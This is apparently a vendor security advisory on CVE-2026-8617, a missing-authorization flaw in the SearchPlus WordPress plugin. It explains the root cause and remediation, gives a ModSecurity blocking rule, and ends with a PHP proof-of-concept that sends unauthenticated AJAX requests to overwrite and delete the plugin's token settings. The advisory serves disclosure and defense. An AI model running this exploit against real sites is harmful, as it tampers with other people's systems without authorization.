Atomic Edge analysis of CVE-2026-8617 (metadata-based): The SearchPlus plugin for WordPress, up to version 1.7.1, contains a missing authorization vulnerability that allows unauthenticated attackers to modify or delete the plugin’s stored account token and name options. This affects the dym_token, dym_name, searchplus_token, searchplus_name, sp_token, and sp_name options. The CVSS score is 5.3, with low impact on integrity and no impact on confidentiality or availability.
Root Cause: The vulnerability stems from two AJAX handler functions: searchplus_save_token_action_callback() and searchplus_reset_token_action_callback(). Both functions are hooked to wp_ajax_nopriv_ actions, making them accessible to unauthenticated users. Atomic Edge analysis infers that the developers failed to implement capability checks (such as current_user_can()) and did not include nonce validation within these callback functions. Without a nonce, attackers can send arbitrary requests to trigger the actions. This is aligned with CWE-862 Missing Authorization, which indicates the software does not perform an authorization check when an actor attempts to access a resource or perform an action.
Exploitation: An attacker can send POST requests to /wp-admin/admin-ajax.php with the action parameter set to either searchplus_save_token or searchplus_reset_token. For the save action, the attacker would include additional POST parameters such as token and name (or the specific option names like dym_token, dym_name, etc.) to overwrite the stored values. For the reset action, simply calling the endpoint with the reset token action will delete the stored options. No authentication is required. The attacker can perform these actions repeatedly to disrupt the plugin’s functionality.
Remediation: The fix requires adding capability checks and nonce validation to both AJAX callback functions. The plugin should verify that the user has the appropriate WordPress capability (e.g., ‘manage_options’) before allowing modification of these settings. Additionally, the plugin should generate and validate a nonce using wp_create_nonce() and check_admin_referer() or wp_verify_nonce() in the callback functions. These changes would prevent unauthenticated or unauthorized users from altering the plugin’s configuration.
Impact: Successful exploitation allows an unauthenticated attacker to overwrite or delete critical plugin configuration options. This could disrupt the SearchPlus service integration, cause the plugin to malfunction, or lead to a denial of service for the plugin’s functionality. The attacker cannot extract sensitive data (no confidentiality impact), but they can corrupt the plugin’s settings, potentially redirecting searches or breaking the connection to an external search service. The availability impact is limited to the plugin’s own functionality, not the entire WordPress site.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8617 (metadata-based)
# Blocks unauthenticated AJAX requests to searchplus_save_token and searchplus_reset_token actions
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20268617,phase:2,deny,status:403,chain,msg:'CVE-2026-8617 - SearchPlus Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-8617'"
SecRule ARGS_POST:action "@pm searchplus_save_token searchplus_reset_token"
"chain"
SecRule REQUEST_HEADERS:Cookie "!@contains wordpress_logged_in_"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8617 - SearchPlus <= 1.7.1 - Missing Authorization to Unauthenticated Settings Modification and Deletion
// Configure target WordPress site URL
$target_url = 'http://example.com'; // Change this to the target site URL
// Endpoint for WordPress AJAX
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// --- Attack 1: Overwrite the plugin's account token ---
echo "[*] Attempting to overwrite the searchplus_token option...n";
$payload = [
'action' => 'searchplus_save_token',
'token' => 'ATTACKER_CONTROLLED_TOKEN_VALUE',
'name' => 'ATTACKER_CONTROLLED_NAME'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only; remove in production
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "nn";
// --- Attack 2: Reset (delete) the plugin's stored options ---
echo "[*] Attempting to reset (delete) the plugin's token and name options...n";
$reset_payload = [
'action' => 'searchplus_reset_token'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($reset_payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "nn";
echo "[+] Exploitation attempts completed. Check if the plugin's settings have been modified.";
